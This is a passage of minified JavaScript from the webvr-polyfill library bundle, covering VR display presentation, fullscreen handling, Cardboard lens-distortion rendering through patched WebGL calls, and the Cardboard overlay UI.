this.getImmediatePose()},i.prototype.requestAnimationFrame=function(e){return window.requestAnimationFrame(e)},i.prototype.cancelAnimationFrame=function(e){return window.cancelAnimationFrame(e)},i.prototype.wrapForFullscreen=function(e){function t(){if(n.fullscreenElement_){var e=["position: absolute","top: 0","left: 0","width: "+Math.max(screen.width,screen.height)+"px","height: "+Math.min(screen.height,screen.width)+"px","border: 0","margin: 0","padding: 0"];n.fullscreenElement_.setAttribute("style",e.join("; ")+";")}}if(a.isIOS())return e;if(!this.fullscreenWrapper_){this.fullscreenWrapper_=document.createElement("div");var i=["height: "+Math.min(screen.height,screen.width)+"px !important","top: 0 !important","left: 0 !important","right: 0 !important","border: 0","margin: 0","padding: 0","z-index: 999999 !important","position: fixed"];this.fullscreenWrapper_.setAttribute("style",i.join("; ")+";"),this.fullscreenWrapper_.classList.add("webvr-polyfill-fullscreen-wrapper")}if(this.fullscreenElement_==e)return this.fullscreenWrapper_;this.removeFullscreenWrapper(),this.fullscreenElement_=e;var r=this.fullscreenElement_.parentElement;r.insertBefore(this.fullscreenWrapper_,this.fullscreenElement_),r.removeChild(this.fullscreenElement_),this.fullscreenWrapper_.insertBefore(this.fullscreenElement_,this.fullscreenWrapper_.firstChild),this.fullscreenElementCachedStyle_=this.fullscreenElement_.getAttribute("style");var n=this;return t(),this.fullscreenWrapper_},i.prototype.removeFullscreenWrapper=function(){if(this.fullscreenElement_){var e=this.fullscreenElement_;this.fullscreenElementCachedStyle_?e.setAttribute("style",this.fullscreenElementCachedStyle_):e.removeAttribute("style"),this.fullscreenElement_=null,this.fullscreenElementCachedStyle_=null;var t=this.fullscreenWrapper_.parentElement;return this.fullscreenWrapper_.removeChild(e),t.insertBefore(e,this.fullscreenWrapper_),t.removeChild(this.fullscreenWrapper_),e}},i.prototype.requestPresent=function(e){if(this.isPresenting)return void console.error("Already presenting!");var t=this;return e instanceof Array||(u||(console.warn("Using a deprecated form of requestPresent. Should pass in an array of VRLayers."),u=!0),e=[e]),new Promise(function(i,r){function n(){var e=a.getFullscreenElement();t.isPresenting=s===e,t.isPresenting?(screen.orientation&&screen.orientation.lock&&screen.orientation.lock("landscape-primary"),t.waitingForPresent_=!1,t.beginPresent_(),i()):(screen.orientation&&screen.orientation.unlock&&screen.orientation.unlock(),t.removeFullscreenWrapper(),t.wakelock_.release(),t.endPresent_(),t.removeFullscreenListeners_()),t.fireVRDisplayPresentChange_()}function o(){t.waitingForPresent_&&(t.removeFullscreenWrapper(),t.removeFullscreenListeners_(),t.wakelock_.release(),t.waitingForPresent_=!1,t.isPresenting=!1,r(new Error("Unable to present.")))}if(!t.capabilities.canPresent)return void r(new Error("VRDisplay is not capable of presenting."));if(0==e.length||e.length>t.capabilities.maxLayers)return void r(new Error("Invalid number of layers."));if(t.layer_=e[0],t.waitingForPresent_=!1,t.layer_&&t.layer_.source){var s=t.wrapForFullscreen(t.layer_.source);t.addFullscreenListeners_(s,n,o),a.requestFullscreen(s)?(t.wakelock_.request(),t.waitingForPresent_=!0):a.isIOS()&&(t.wakelock_.request(),t.isPresenting=!0,t.beginPresent_(),t.fireVRDisplayPresentChange_(),i())}t.waitingForPresent_||a.isIOS()||(a.exitFullscreen(),r(new Error("Unable to present.")))})},i.prototype.exitPresent=function(){var e=this.isPresenting,t=this;return this.isPresenting=!1,this.layer_=null,this.wakelock_.release(),new Promise(function(i,r){e?(!a.exitFullscreen()&&a.isIOS()&&(t.endPresent_(),t.fireVRDisplayPresentChange_()),i()):r(new Error("Was not presenting to VRDisplay."))})},i.prototype.getLayers=function(){return this.layer_?[this.layer_]:[]},i.prototype.fireVRDisplayPresentChange_=function(){var e=new CustomEvent("vrdisplaypresentchange",{detail:{vrdisplay:this}});window.dispatchEvent(e)},i.prototype.addFullscreenListeners_=function(e,t,i){this.removeFullscreenListeners_(),this.fullscreenEventTarget_=e,this.fullscreenChangeHandler_=t,this.fullscreenErrorHandler_=i,t&&(e.addEventListener("fullscreenchange",t,!1),e.addEventListener("webkitfullscreenchange",t,!1),document.addEventListener("mozfullscreenchange",t,!1),e.addEventListener("msfullscreenchange",t,!1)),i&&(e.addEventListener("fullscreenerror",i,!1),e.addEventListener("webkitfullscreenerror",i,!1),document.addEventListener("mozfullscreenerror",i,!1),e.addEventListener("msfullscreenerror",i,!1))},i.prototype.removeFullscreenListeners_=function(){if(this.fullscreenEventTarget_){var e=this.fullscreenEventTarget_;if(this.fullscreenChangeHandler_){var t=this.fullscreenChangeHandler_;e.removeEventListener("fullscreenchange",t,!1),e.removeEventListener("webkitfullscreenchange",t,!1),document.removeEventListener("mozfullscreenchange",t,!1),e.removeEventListener("msfullscreenchange",t,!1)}if(this.fullscreenErrorHandler_){var i=this.fullscreenErrorHandler_;e.removeEventListener("fullscreenerror",i,!1),e.removeEventListener("webkitfullscreenerror",i,!1),document.removeEventListener("mozfullscreenerror",i,!1),e.removeEventListener("msfullscreenerror",i,!1)}this.fullscreenEventTarget_=null,this.fullscreenChangeHandler_=null,this.fullscreenErrorHandler_=null}},i.prototype.beginPresent_=function(){},i.prototype.endPresent_=function(){},i.prototype.submitFrame=function(){},i.prototype.getEyeParameters=function(){return null},n.prototype=new r,o.prototype=new r,t.exports.VRDisplay=i,t.exports.VRDevice=r,t.exports.HMDVRDevice=n,t.exports.PositionSensorVRDevice=o},{"./util.js":24,"./wakelock.js":26}],5:[function(e,t){function i(e){this.gl=e,this.ctxAttribs=e.getContextAttributes(),this.meshWidth=20,this.meshHeight=20,this.bufferScale=WebVRConfig.BUFFER_SCALE,this.bufferWidth=e.drawingBufferWidth,this.bufferHeight=e.drawingBufferHeight,this.realBindFramebuffer=e.bindFramebuffer,this.realEnable=e.enable,this.realDisable=e.disable,this.realColorMask=e.colorMask,this.realClearColor=e.clearColor,this.realViewport=e.viewport,n.isIOS()||(this.realCanvasWidth=Object.getOwnPropertyDescriptor(e.canvas.__proto__,"width"),this.realCanvasHeight=Object.getOwnPropertyDescriptor(e.canvas.__proto__,"height")),this.isPatched=!1,this.lastBoundFramebuffer=null,this.cullFace=!1,this.depthTest=!1,this.blend=!1,this.scissorTest=!1,this.stencilTest=!1,this.viewport=[0,0,0,0],this.colorMask=[!0,!0,!0,!0],this.clearColor=[0,0,0,0],this.attribs={position:0,texCoord:1},this.program=n.linkProgram(e,a,s,this.attribs),this.uniforms=n.getProgramUniforms(e,this.program),this.viewportOffsetScale=new Float32Array(8),this.setTextureBounds(),this.vertexBuffer=e.createBuffer(),this.indexBuffer=e.createBuffer(),this.indexCount=0,this.renderTarget=e.createTexture(),this.framebuffer=e.createFramebuffer(),this.depthStencilBuffer=null,this.depthBuffer=null,this.stencilBuffer=null,this.ctxAttribs.depth&&this.ctxAttribs.stencil?this.depthStencilBuffer=e.createRenderbuffer():this.ctxAttribs.depth?this.depthBuffer=e.createRenderbuffer():this.ctxAttribs.stencil&&(this.stencilBuffer=e.createRenderbuffer()),this.patch(),this.onResize(),WebVRConfig.CARDBOARD_UI_DISABLED||(this.cardboardUI=new r(e))}var r=e("./cardboard-ui.js"),n=e("./util.js"),o=e("./deps/wglu-preserve-state.js"),a=["attribute vec2 position;","attribute vec3 texCoord;","varying vec2 vTexCoord;","uniform vec4 viewportOffsetScale[2];","void main() {"," vec4 viewport = viewportOffsetScale[int(texCoord.z)];"," vTexCoord = (texCoord.xy * viewport.zw) + viewport.xy;"," gl_Position = vec4( position, 1.0, 1.0 );","}"].join("\n"),s=["precision mediump float;","uniform sampler2D diffuse;","varying vec2 vTexCoord;","void main() {"," gl_FragColor = texture2D(diffuse, vTexCoord);","}"].join("\n");i.prototype.destroy=function(){var e=this.gl;this.unpatch(),e.deleteProgram(this.program),e.deleteBuffer(this.vertexBuffer),e.deleteBuffer(this.indexBuffer),e.deleteTexture(this.renderTarget),e.deleteFramebuffer(this.framebuffer),this.depthStencilBuffer&&e.deleteRenderbuffer(this.depthStencilBuffer),this.depthBuffer&&e.deleteRenderbuffer(this.depthBuffer),this.stencilBuffer&&e.deleteRenderbuffer(this.stencilBuffer),this.cardboardUI&&this.cardboardUI.destroy()},i.prototype.onResize=function(){var e=this.gl,t=this,i=[e.RENDERBUFFER_BINDING,e.TEXTURE_BINDING_2D,e.TEXTURE0];o(e,i,function(e){t.realBindFramebuffer.call(e,e.FRAMEBUFFER,null),t.scissorTest&&t.realDisable.call(e,e.SCISSOR_TEST),t.realColorMask.call(e,!0,!0,!0,!0),t.realViewport.call(e,0,0,e.drawingBufferWidth,e.drawingBufferHeight),t.realClearColor.call(e,0,0,0,1),e.clear(e.COLOR_BUFFER_BIT),t.realBindFramebuffer.call(e,e.FRAMEBUFFER,t.framebuffer),e.bindTexture(e.TEXTURE_2D,t.renderTarget),e.texImage2D(e.TEXTURE_2D,0,t.ctxAttribs.alpha?e.RGBA:e.RGB,t.bufferWidth,t.bufferHeight,0,t.ctxAttribs.alpha?e.RGBA:e.RGB,e.UNSIGNED_BYTE,null),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_MAG_FILTER,e.LINEAR),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_MIN_FILTER,e.LINEAR),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_WRAP_S,e.CLAMP_TO_EDGE),e.texParameteri(e.TEXTURE_2D,e.TEXTURE_WRAP_T,e.CLAMP_TO_EDGE),e.framebufferTexture2D(e.FRAMEBUFFER,e.COLOR_ATTACHMENT0,e.TEXTURE_2D,t.renderTarget,0),t.ctxAttribs.depth&&t.ctxAttribs.stencil?(e.bindRenderbuffer(e.RENDERBUFFER,t.depthStencilBuffer),e.renderbufferStorage(e.RENDERBUFFER,e.DEPTH_STENCIL,t.bufferWidth,t.bufferHeight),e.framebufferRenderbuffer(e.FRAMEBUFFER,e.DEPTH_STENCIL_ATTACHMENT,e.RENDERBUFFER,t.depthStencilBuffer)):t.ctxAttribs.depth?(e.bindRenderbuffer(e.RENDERBUFFER,t.depthBuffer),e.renderbufferStorage(e.RENDERBUFFER,e.DEPTH_COMPONENT16,t.bufferWidth,t.bufferHeight),e.framebufferRenderbuffer(e.FRAMEBUFFER,e.DEPTH_ATTACHMENT,e.RENDERBUFFER,t.depthBuffer)):t.ctxAttribs.stencil&&(e.bindRenderbuffer(e.RENDERBUFFER,t.stencilBuffer),e.renderbufferStorage(e.RENDERBUFFER,e.STENCIL_INDEX8,t.bufferWidth,t.bufferHeight),e.framebufferRenderbuffer(e.FRAMEBUFFER,e.STENCIL_ATTACHMENT,e.RENDERBUFFER,t.stencilBuffer)),!e.checkFramebufferStatus(e.FRAMEBUFFER)===e.FRAMEBUFFER_COMPLETE&&console.error("Framebuffer incomplete!"),t.realBindFramebuffer.call(e,e.FRAMEBUFFER,t.lastBoundFramebuffer),t.scissorTest&&t.realEnable.call(e,e.SCISSOR_TEST),t.realColorMask.apply(e,t.colorMask),t.realViewport.apply(e,t.viewport),t.realClearColor.apply(e,t.clearColor)}),this.cardboardUI&&this.cardboardUI.onResize()},i.prototype.patch=function(){if(!this.isPatched){var e=this,t=this.gl.canvas,i=this.gl;n.isIOS()||(t.width=n.getScreenWidth()*this.bufferScale,t.height=n.getScreenHeight()*this.bufferScale,Object.defineProperty(t,"width",{configurable:!0,enumerable:!0,get:function(){return e.bufferWidth},set:function(t){e.bufferWidth=t,e.onResize()}}),Object.defineProperty(t,"height",{configurable:!0,enumerable:!0,get:function(){return e.bufferHeight},set:function(t){e.bufferHeight=t,e.onResize()}})),this.lastBoundFramebuffer=i.getParameter(i.FRAMEBUFFER_BINDING),null==this.lastBoundFramebuffer&&(this.lastBoundFramebuffer=this.framebuffer,this.gl.bindFramebuffer(i.FRAMEBUFFER,this.framebuffer)),this.gl.bindFramebuffer=function(t,r){e.lastBoundFramebuffer=r?r:e.framebuffer,e.realBindFramebuffer.call(i,t,e.lastBoundFramebuffer)},this.cullFace=i.getParameter(i.CULL_FACE),this.depthTest=i.getParameter(i.DEPTH_TEST),this.blend=i.getParameter(i.BLEND),this.scissorTest=i.getParameter(i.SCISSOR_TEST),this.stencilTest=i.getParameter(i.STENCIL_TEST),i.enable=function(t){switch(t){case i.CULL_FACE:e.cullFace=!0;break;case i.DEPTH_TEST:e.depthTest=!0;break;case i.BLEND:e.blend=!0;break;case i.SCISSOR_TEST:e.scissorTest=!0;break;case i.STENCIL_TEST:e.stencilTest=!0}e.realEnable.call(i,t)},i.disable=function(t){switch(t){case i.CULL_FACE:e.cullFace=!1;break;case i.DEPTH_TEST:e.depthTest=!1;break;case i.BLEND:e.blend=!1;break;case i.SCISSOR_TEST:e.scissorTest=!1;break;case i.STENCIL_TEST:e.stencilTest=!1}e.realDisable.call(i,t)},this.colorMask=i.getParameter(i.COLOR_WRITEMASK),i.colorMask=function(t,r,n,o){e.colorMask[0]=t,e.colorMask[1]=r,e.colorMask[2]=n,e.colorMask[3]=o,e.realColorMask.call(i,t,r,n,o)},this.clearColor=i.getParameter(i.COLOR_CLEAR_VALUE),i.clearColor=function(t,r,n,o){e.clearColor[0]=t,e.clearColor[1]=r,e.clearColor[2]=n,e.clearColor[3]=o,e.realClearColor.call(i,t,r,n,o)},this.viewport=i.getParameter(i.VIEWPORT),i.viewport=function(t,r,n,o){e.viewport[0]=t,e.viewport[1]=r,e.viewport[2]=n,e.viewport[3]=o,e.realViewport.call(i,t,r,n,o)},this.isPatched=!0,n.safariCssSizeWorkaround(t)}},i.prototype.unpatch=function(){if(this.isPatched){var e=this.gl,t=this.gl.canvas;n.isIOS()||(Object.defineProperty(t,"width",this.realCanvasWidth),Object.defineProperty(t,"height",this.realCanvasHeight)),t.width=this.bufferWidth,t.height=this.bufferHeight,e.bindFramebuffer=this.realBindFramebuffer,e.enable=this.realEnable,e.disable=this.realDisable,e.colorMask=this.realColorMask,e.clearColor=this.realClearColor,e.viewport=this.realViewport,this.lastBoundFramebuffer==this.framebuffer&&e.bindFramebuffer(e.FRAMEBUFFER,null),this.isPatched=!1,setTimeout(function(){n.safariCssSizeWorkaround(t)},1)}},i.prototype.setTextureBounds=function(e,t){e||(e=[0,0,.5,1]),t||(t=[.5,0,.5,1]),this.viewportOffsetScale[0]=e[0],this.viewportOffsetScale[1]=e[1],this.viewportOffsetScale[2]=e[2],this.viewportOffsetScale[3]=e[3],this.viewportOffsetScale[4]=t[0],this.viewportOffsetScale[5]=t[1],this.viewportOffsetScale[6]=t[2],this.viewportOffsetScale[7]=t[3]},i.prototype.submitFrame=function(){var e=this.gl,t=this,i=[];if(WebVRConfig.DIRTY_SUBMIT_FRAME_BINDINGS||i.push(e.CURRENT_PROGRAM,e.ARRAY_BUFFER_BINDING,e.ELEMENT_ARRAY_BUFFER_BINDING,e.TEXTURE_BINDING_2D,e.TEXTURE0),o(e,i,function(e){t.realBindFramebuffer.call(e,e.FRAMEBUFFER,null),t.cullFace&&t.realDisable.call(e,e.CULL_FACE),t.depthTest&&t.realDisable.call(e,e.DEPTH_TEST),t.blend&&t.realDisable.call(e,e.BLEND),t.scissorTest&&t.realDisable.call(e,e.SCISSOR_TEST),t.stencilTest&&t.realDisable.call(e,e.STENCIL_TEST),t.realColorMask.call(e,!0,!0,!0,!0),t.realViewport.call(e,0,0,e.drawingBufferWidth,e.drawingBufferHeight),(t.ctxAttribs.alpha||n.isIOS())&&(t.realClearColor.call(e,0,0,0,1),e.clear(e.COLOR_BUFFER_BIT)),e.useProgram(t.program),e.bindBuffer(e.ELEMENT_ARRAY_BUFFER,t.indexBuffer),e.bindBuffer(e.ARRAY_BUFFER,t.vertexBuffer),e.enableVertexAttribArray(t.attribs.position),e.enableVertexAttribArray(t.attribs.texCoord),e.vertexAttribPointer(t.attribs.position,2,e.FLOAT,!1,20,0),e.vertexAttribPointer(t.attribs.texCoord,3,e.FLOAT,!1,20,8),e.activeTexture(e.TEXTURE0),e.uniform1i(t.uniforms.diffuse,0),e.bindTexture(e.TEXTURE_2D,t.renderTarget),e.uniform4fv(t.uniforms.viewportOffsetScale,t.viewportOffsetScale),e.drawElements(e.TRIANGLES,t.indexCount,e.UNSIGNED_SHORT,0),t.cardboardUI&&t.cardboardUI.renderNoState(),t.realBindFramebuffer.call(t.gl,e.FRAMEBUFFER,t.framebuffer),t.ctxAttribs.preserveDrawingBuffer||(t.realClearColor.call(e,0,0,0,0),e.clear(e.COLOR_BUFFER_BIT)),WebVRConfig.DIRTY_SUBMIT_FRAME_BINDINGS||t.realBindFramebuffer.call(e,e.FRAMEBUFFER,t.lastBoundFramebuffer),t.cullFace&&t.realEnable.call(e,e.CULL_FACE),t.depthTest&&t.realEnable.call(e,e.DEPTH_TEST),t.blend&&t.realEnable.call(e,e.BLEND),t.scissorTest&&t.realEnable.call(e,e.SCISSOR_TEST),t.stencilTest&&t.realEnable.call(e,e.STENCIL_TEST),t.realColorMask.apply(e,t.colorMask),t.realViewport.apply(e,t.viewport),(t.ctxAttribs.alpha||!t.ctxAttribs.preserveDrawingBuffer)&&t.realClearColor.apply(e,t.clearColor)}),n.isIOS()){var r=e.canvas;(r.width!=t.bufferWidth||r.height!=t.bufferHeight)&&(t.bufferWidth=r.width,t.bufferHeight=r.height,t.onResize())}},i.prototype.updateDeviceInfo=function(e){var t=this.gl,i=this,r=[t.ARRAY_BUFFER_BINDING,t.ELEMENT_ARRAY_BUFFER_BINDING];o(t,r,function(t){var r=i.computeMeshVertices_(i.meshWidth,i.meshHeight,e);if(t.bindBuffer(t.ARRAY_BUFFER,i.vertexBuffer),t.bufferData(t.ARRAY_BUFFER,r,t.STATIC_DRAW),!i.indexCount){var n=i.computeMeshIndices_(i.meshWidth,i.meshHeight);t.bindBuffer(t.ELEMENT_ARRAY_BUFFER,i.indexBuffer),t.bufferData(t.ELEMENT_ARRAY_BUFFER,n,t.STATIC_DRAW),i.indexCount=n.length}})},i.prototype.computeMeshVertices_=function(e,t,i){for(var r=new Float32Array(2*e*t*5),o=i.getLeftEyeVisibleTanAngles(),a=i.getLeftEyeNoLensTanAngles(),s=i.getLeftEyeVisibleScreenRect(a),c=0,u=0;2>u;u++){for(var l=0;t>l;l++)for(var h=0;e>h;h++,c++){var d=h/(e-1),p=l/(t-1),f=d,m=p,g=n.lerp(o[0],o[2],d),v=n.lerp(o[3],o[1],p),y=Math.sqrt(g*g+v*v),M=i.distortion.distortInverse(y),A=g*M/y,x=v*M/y;d=(A-a[0])/(a[2]-a[0]),p=(x-a[3])/(a[1]-a[3]);{i.device.widthMeters/i.device.heightMeters}d=2*(s.x+d*s.width-.5),p=2*(s.y+p*s.height-.5),r[5*c+0]=d,r[5*c+1]=p,r[5*c+2]=f,r[5*c+3]=m,r[5*c+4]=u}var w=o[2]-o[0];o[0]=-(w+o[0]),o[2]=w-o[2],w=a[2]-a[0],a[0]=-(w+a[0]),a[2]=w-a[2],s.x=1-(s.x+s.width)}return r},i.prototype.computeMeshIndices_=function(e,t){for(var i=new Uint16Array(2*(e-1)*(t-1)*6),r=e/2,n=t/2,o=0,a=0,s=0;2>s;s++)for(var c=0;t>c;c++)for(var u=0;e>u;u++,o++)0!=u&&0!=c&&(r>=u==n>=c?(i[a++]=o,i[a++]=o-e-1,i[a++]=o-e,i[a++]=o-e-1,i[a++]=o,i[a++]=o-1):(i[a++]=o-1,i[a++]=o-e,i[a++]=o,i[a++]=o-e,i[a++]=o-1,i[a++]=o-e-1));return i},i.prototype.getOwnPropertyDescriptor_=function(e,t){var i=Object.getOwnPropertyDescriptor(e,t);return(void 0===i.get||void 0===i.set)&&(i.configurable=!0,i.enumerable=!0,i.get=function(){return this.getAttribute(t)},i.set=function(e){this.setAttribute(t,e)}),i},t.exports=i},{"./cardboard-ui.js":6,"./deps/wglu-preserve-state.js":8,"./util.js":24}],6:[function(e,t){function i(e){this.gl=e,this.attribs={position:0},this.program=r.linkProgram(e,o,a,this.attribs),this.uniforms=r.getProgramUniforms(e,this.program),this.vertexBuffer=e.createBuffer(),this.gearOffset=0,this.gearVertexCount=0,this.arrowOffset=0,this.arrowVertexCount=0,this.projMat=new Float32Array(16),this.listener=null,this.onResize()}var r=e("./util.js"),n=e("./deps/wglu-preserve-state.js"),o=["attribute vec2 position;","uniform mat4 projectionMat;","void main() {"," gl_Position = projectionMat * vec4( position, -1.0, 1.0 );","}"].join("\n"),a=["precision mediump float;","uniform vec4 color;","void main() {"," gl_FragColor = color;","}"].join("\n"),s=Math.PI/180,c=60,u=12,l=20,h=1,d=.75,p=.3125,f=4,m=28,g=1.5;
i.prototype.destroy=function(){var e=this.gl;this.listener&&e.canvas.removeEventListener("click",this.listener,!1),e.deleteProgram(this.program),e.deleteBuffer(this.vertexBuffer)},i.prototype.listen=function(e,t){var i=this.gl.canvas;this.listener=function(r){var n=i.clientWidth/2,o=m*g;r.clientX>n-o&&r.clientX<n+o&&r.clientY>i.clientHeight-o?e(r):r.clientX<o&&r.clientY<o&&t(r)},i.addEventListener("click",this.listener,!1)},i.prototype.onResize=function(){var e=this.gl,t=this,i=[e.ARRAY_BUFFER_BINDING];n(e,i,function(e){function i(e,t){var i=(90-e)*s,r=Math.cos(i),n=Math.sin(i);o.push(p*r*A+a,p*n*A+A),o.push(t*r*A+a,t*n*A+A)}function n(t,i){o.push(x+t,e.drawingBufferHeight-x-i)}var o=[],a=e.drawingBufferWidth/2,v=e.drawingBufferWidth/(screen.width*window.devicePixelRatio);r.isIOS()||(v*=window.devicePixelRatio);var y=f*v/2,M=m*g*v,A=m*v/2,x=(m*g-m)*v;o.push(a-y,M),o.push(a-y,e.drawingBufferHeight),o.push(a+y,M),o.push(a+y,e.drawingBufferHeight),t.gearOffset=o.length/2;for(var w=0;6>=w;w++){var E=w*c;i(E,h),i(E+u,h),i(E+l,d),i(E+(c-l),d),i(E+(c-u),h)}t.gearVertexCount=o.length/2-t.gearOffset,t.arrowOffset=o.length/2;var b=y/Math.sin(45*s);n(0,A),n(A,0),n(A+b,b),n(b,A+b),n(b,A-b),n(0,A),n(A,2*A),n(A+b,2*A-b),n(b,A-b),n(0,A),n(b,A-y),n(m*v,A-y),n(b,A+y),n(m*v,A+y),t.arrowVertexCount=o.length/2-t.arrowOffset,e.bindBuffer(e.ARRAY_BUFFER,t.vertexBuffer),e.bufferData(e.ARRAY_BUFFER,new Float32Array(o),e.STATIC_DRAW)})},i.prototype.render=function(){var e=this.gl,t=this,i=[e.CULL_FACE,e.DEPTH_TEST,e.BLEND,e.SCISSOR_TEST,e.STENCIL_TEST,e.COLOR_WRITEMASK,e.VIEWPORT,e.CURRENT_PROGRAM,e.ARRAY_BUFFER_BINDING];n(e,i,function(e){e.disable(e.CULL_FACE),e.disable(e.DEPTH_TEST),e.disable(e.BLEND),e.disable(e.SCISSOR_TEST),e.disable(e.STENCIL_TEST),e.colorMask(!0,!0,!0,!0),e.viewport(0,0,e.drawingBufferWidth,e.drawingBufferHeight),t.renderNoState()})},i.prototype.renderNoState=function(){var e=this.gl;e.useProgram(this.program),e.bindBuffer(e.ARRAY_BUFFER,this.vertexBuffer),e.enableVertexAttribArray(this.attribs.position),e.vertexAttribPointer(this.attribs.position,2,e.FLOAT,!1,8,0),e.uniform4f(this.uniforms.color,1,1,1,1),r.orthoMatrix(this.projMat,0,e.drawingBufferWidth,0,e.drawingBufferHeight,.1,1024),e.uniformMatrix4fv(this.uniforms.projectionMat,!1,this.projMat),e.drawArrays(e.TRIANGLE_STRIP,0,4),e.drawArrays(e.TRIANGLE_STRIP,this.gearOffset,this.gearVertexCount),e.drawArrays(e.TRIANGLE_STRIP,this.arrowOffset,this.arrowVertexCount)},t.exports=i},{"./deps/wglu-preserve-state.js":8,"./util.js":24}],7:[function(e,t){function i(){this.displayName="Cardboard VRDisplay (webvr-polyfill)",this.capabilities.hasOrientation=!0,this.capabilities.canPresent=!0,this.bufferScale_=WebVRConfig.BUFFER_SCALE,this.poseSensor_=new s,this.distorter_=null,this.cardboardUI_=null,this.dpdb_=new a(!0,this.onDeviceParamsUpdated_.bind(this)),this.deviceInfo_=new o(this.dpdb_.getDeviceParams()),this.viewerSelector_=new u,this.viewerSelector_.on("change",this.onViewerChanged_.bind(this)),this.deviceInfo_.setViewer(this.viewerSelector_.getCurrentViewer()),WebVRConfig.ROTATE_INSTRUCTIONS_DISABLED||(this.rotateInstructions_=new c),h.isIOS()&&window.addEventListener("resize",this.onResize_.bind(this))}var r=e("./cardboard-distorter.js"),n=e("./cardboard-ui.js"),o=e("./device-info.js"),a=e("./dpdb/dpdb.js"),s=e("./sensor-fusion/fusion-pose-sensor.js"),c=e("./rotate-instructions.js"),u=e("./viewer-selector.js"),l=e("./base.js").VRDisplay,h=e("./util.js"),d={LEFT:"left",RIGHT:"right"};i.prototype=new l,i.prototype.getImmediatePose=function(){return{position:this.poseSensor_.getPosition(),orientation:this.poseSensor_.getOrientation(),linearVelocity:null,linearAcceleration:null,angularVelocity:null,angularAcceleration:null}},i.prototype.resetPose=function(){this.poseSensor_.resetPose()},i.prototype.getEyeParameters=function(e){var t,i=[.5*this.deviceInfo_.viewer.interLensDistance,0,0];if(e==d.LEFT)i[0]*=-1,t=this.deviceInfo_.getFieldOfViewLeftEye();else{if(e!=d.RIGHT)return console.error("Invalid eye provided: %s",e),null;t=this.deviceInfo_.getFieldOfViewRightEye()}return{fieldOfView:t,offset:i,renderWidth:.5*this.deviceInfo_.device.width*this.bufferScale_,renderHeight:this.deviceInfo_.device.height*this.bufferScale_}},i.prototype.onDeviceParamsUpdated_=function(e){console.log("DPDB reported that device params were updated."),this.deviceInfo_.updateDeviceParams(e),this.distorter_&&this.distorter.updateDeviceInfo(this.deviceInfo_)},i.prototype.beginPresent_=function(){var e=this.layer_.source.getContext("webgl");e||(e=this.layer_.source.getContext("experimental-webgl")),e||(e=this.layer_.source.getContext("webgl2")),e&&(this.layer_.predistorted?WebVRConfig.CARDBOARD_UI_DISABLED||(e.canvas.width=h.getScreenWidth()*this.bufferScale_,e.canvas.height=h.getScreenHeight()*this.bufferScale_,this.cardboardUI_=new n(e)):(this.distorter_=new r(e),this.distorter_.updateDeviceInfo(this.deviceInfo_),this.cardboardUI_=this.distorter_.cardboardUI,(this.layer_.leftBounds||this.layer_.rightBounds)&&this.distorter_.setTextureBounds(this.layer_.leftBounds,this.layer_.rightBounds)),this.cardboardUI_&&this.cardboardUI_.listen(function(e){this.viewerSelector_.show(this.layer_.source.parentElement),e.stopPropagation(),e.preventDefault()}.bind(this),function(e){this.exitPresent(),e.stopPropagation(),e.preventDefault()}.bind(this)),this.rotateInstructions_&&(h.isLandscapeMode()&&h.isMobile()?this.rotateInstructions_.showTemporarily(3e3,this.layer_.source.parentElement):this.rotateInstructions_.update()),this.orientationHandler=this.onOrientationChange_.bind(this),window.addEventListener("orientationchange",this.orientationHandler),this.fireVRDisplayDeviceParamsChange_())},i.prototype.endPresent_=function(){this.distorter_&&(this.distorter_.destroy(),this.distorter_=null),this.cardboardUI_&&(this.cardboardUI_.destroy(),this.cardboardUI_=null),this.rotateInstructions_&&this.rotateInstructions_.hide(),this.viewerSelector_.hide(),window.removeEventListener("orientationchange",this.orientationHandler)},i.prototype.submitFrame=function(){if(this.distorter_)this.distorter_.submitFrame();else if(this.cardboardUI_&&this.layer_){var e=this.layer_.source.getContext("webgl").canvas;(e.width!=this.lastWidth||e.height!=this.lastHeight)&&this.cardboardUI_.onResize(),this.lastWidth=e.width,this.lastHeight=e.height,this.cardboardUI_.render()}},i.prototype.onOrientationChange_=function(){console.log("onOrientationChange_"),this.viewerSelector_.hide(),this.rotateInstructions_&&this.rotateInstructions_.update(),this.onResize_()},i.prototype.onResize_=function(){if(this.layer_){var e=this.layer_.source.getContext("webgl"),t=["position: absolute","top: 0","left: 0","width: "+Math.max(screen.width,screen.height)+"px","height: "+Math.min(screen.height,screen.width)+"px","border: 0","margin: 0","padding: 0 10px 10px 0"];e.canvas.setAttribute("style",t.join("; ")+";"),h.safariCssSizeWorkaround(e.canvas)}},i.prototype.onViewerChanged_=function(e){this.deviceInfo_.setViewer(e),this.distorter_&&this.distorter_.updateDeviceInfo(this.deviceInfo_),this.fireVRDisplayDeviceParamsChange_()},i.prototype.fireVRDisplayDeviceParamsChange_=function(){var e=new CustomEvent("vrdisplaydeviceparamschange",{detail:{vrdisplay:this,deviceInfo:this.deviceInfo_}});window.dispatchEvent(e)},t.exports=i},{"./base.js":4,"./cardboard-distorter.js":5,"./cardboard-ui.js":6,"./device-info.js":9,"./dpdb/dpdb.js":13,"./rotate-instructions.js":18,"./sensor-fusion/fusion-pose-sensor.js":20,"./util.js":24,"./viewer-selector.js":25}],8:[function(e,t){function i(e,t,i){if(!t)return void i(e);for(var r=[],n=null,o=0;o<t.length;++o){var a=t[o];switch(a){case e.TEXTURE_BINDING_2D:case e.TEXTURE_BINDING_CUBE_MAP:var s=t[++o];if(s<e.TEXTURE0||s>e.TEXTURE31){console.error("TEXTURE_BINDING_2D or TEXTURE_BINDING_CUBE_MAP must be followed by a valid texture unit"),r.push(null,null);break}n||(n=e.getParameter(e.ACTIVE_TEXTURE)),e.activeTexture(s),r.push(e.getParameter(a),null);break;case e.ACTIVE_TEXTURE:n=e.getParameter(e.ACTIVE_TEXTURE),r.push(null);break;default:r.push(e.getParameter(a))}}i(e);for(var o=0;o<t.length;++o){var a=t[o],c=r[o];switch(a){case e.ACTIVE_TEXTURE:break;case e.ARRAY_BUFFER_BINDING:e.bindBuffer(e.ARRAY_BUFFER,c);break;case e.COLOR_CLEAR_VALUE:e.clearColor(c[0],c[1],c[2],c[3]);break;case e.COLOR_WRITEMASK:e.colorMask(c[0],c[1],c[2],c[3]);break;case e.CURRENT_PROGRAM:e.useProgram(c);break;case e.ELEMENT_ARRAY_BUFFER_BINDING:e.bindBuffer(e.ELEMENT_ARRAY_BUFFER,c);break;case 